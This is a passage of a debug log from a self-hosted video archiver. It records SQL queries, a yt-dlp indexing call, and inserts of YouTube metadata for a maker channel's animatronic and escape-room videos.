https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "Surviving Poppy Playtime In Real Life!", "f96e8649-a4b2-4464-ba0e-fbbb33a63761", "nnGeD3NoThc", false, "https://www.youtube.com/watch?v=nnGeD3NoThc", 35, [], 1010, false, 12, "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", false, false, 98, ~U[2025-01-29 21:00:33Z], ~U[2026-06-03 17:42:41Z], ~U[2026-06-03 17:42:41Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "Surviving Poppy Playtime In Real Life!", "nnGeD3NoThc", "https://www.youtube.com/watch?v=nnGeD3NoThc", 35, 1010, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", false, ~U[2025-01-29 21:00:33Z]] 13:42:41.503 [debug] QUERY OK source="sources" db=0.2ms idle=90.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:41.503 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:41.503 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122446] 13:42:41.503 [debug] Current batch of media processed. Will check again in 1000ms 13:42:42.504 [debug] Current batch of media processed. Will check again in 1000ms 13:42:43.506 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "duration" => 1321, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", "id" => "o6AiiIuTuQU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=o6AiiIuTuQU", "playlist_index" => 13, "timestamp" => 1736548735, "title" => "We made Shin Sonic real! (Animatronic)", "upload_date" => "20250110"} 13:42:43.507 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=811.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:43.509 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=812.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:43.510 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=814.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-10 22:38:55Z], 35] 13:42:43.512 [debug] QUERY OK source="media_items" db=1.0ms idle=815.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "We made Shin Sonic real! (Animatronic)", "f8418a94-ab17-4ff6-a9df-181062a31af7", "o6AiiIuTuQU", false, "https://www.youtube.com/watch?v=o6AiiIuTuQU", 35, [], 1321, false, 13, "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", false, false, 98, ~U[2025-01-10 22:38:55Z], ~U[2026-06-03 17:42:43Z], ~U[2026-06-03 17:42:43Z], "Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "We made Shin Sonic real! (Animatronic)", "o6AiiIuTuQU", "https://www.youtube.com/watch?v=o6AiiIuTuQU", 35, 1321, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", false, ~U[2025-01-10 22:38:55Z]] 13:42:43.512 [debug] QUERY OK source="sources" db=0.1ms idle=97.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:43.513 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:43.513 [debug] QUERY OK source="media_items" db=0.1ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122447] 13:42:43.513 [debug] Current batch of media processed. Will check again in 1000ms 13:42:44.514 [debug] Current batch of media processed. Will check again in 1000ms 13:42:45.515 [debug] Current batch of media processed. Will check again in 1000ms 13:42:45.838 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@wickedmakers?si=6H2N44HREVS1QsI5 --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Wicked Makers/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/30/f9/30f994ec4d6ddedb34b6c9854a437b1808454df1689225d0e7640d1bd019fce6.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/95/92/9592df1798bbed7d1ab99cf5901362d8d1bd668a2271c94834ddac29681909f1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 13:42:45.839 [debug] Gracefully stopping file follower 13:42:45.839 [debug] QUERY OK source="sources" db=0.4ms idle=1144.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:45.840 [debug] QUERY OK source="sources" db=0.1ms idle=1144.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.840 [debug] QUERY OK source="media_items" db=0.3ms idle=1145.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 12:13:59Z], 35] 13:42:45.842 [debug] QUERY OK source="media_items" db=1.5ms idle=1145.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "f94f0966-1200-44c9-9aba-536018623f71", "j8-i3CGf5z0", false, "https://www.youtube.com/watch?v=j8-i3CGf5z0", 35, [], 1728, false, 1, "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", false, false, 98, ~U[2026-05-30 12:13:59Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "j8-i3CGf5z0", "https://www.youtube.com/watch?v=j8-i3CGf5z0", 35, 1728, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", false, ~U[2026-05-30 12:13:59Z]] 13:42:45.843 [debug] QUERY OK source="sources" db=0.1ms idle=426.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.843 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-17 19:59:16Z], 35] 13:42:45.846 [debug] QUERY OK source="media_items" db=1.8ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "We made a real PROTOTYPE (that can CRUSH Poppy!)", "4761de9a-945b-47e3-b3ac-1416019288f8", "1pBWywI-Ilc", false, "https://www.youtube.com/watch?v=1pBWywI-Ilc", 35, [], 2462, false, 2, "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", false, false, 98, ~U[2026-04-17 19:59:16Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "We made a real PROTOTYPE (that can CRUSH Poppy!)", "1pBWywI-Ilc", "https://www.youtube.com/watch?v=1pBWywI-Ilc", 35, 2462, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", false, ~U[2026-04-17 19:59:16Z]] 13:42:45.846 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.847 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-25 20:45:16Z], 35] 13:42:45.848 [debug] QUERY OK source="media_items" db=1.0ms idle=4.1ms INSERT INTO "media_items" AS m0 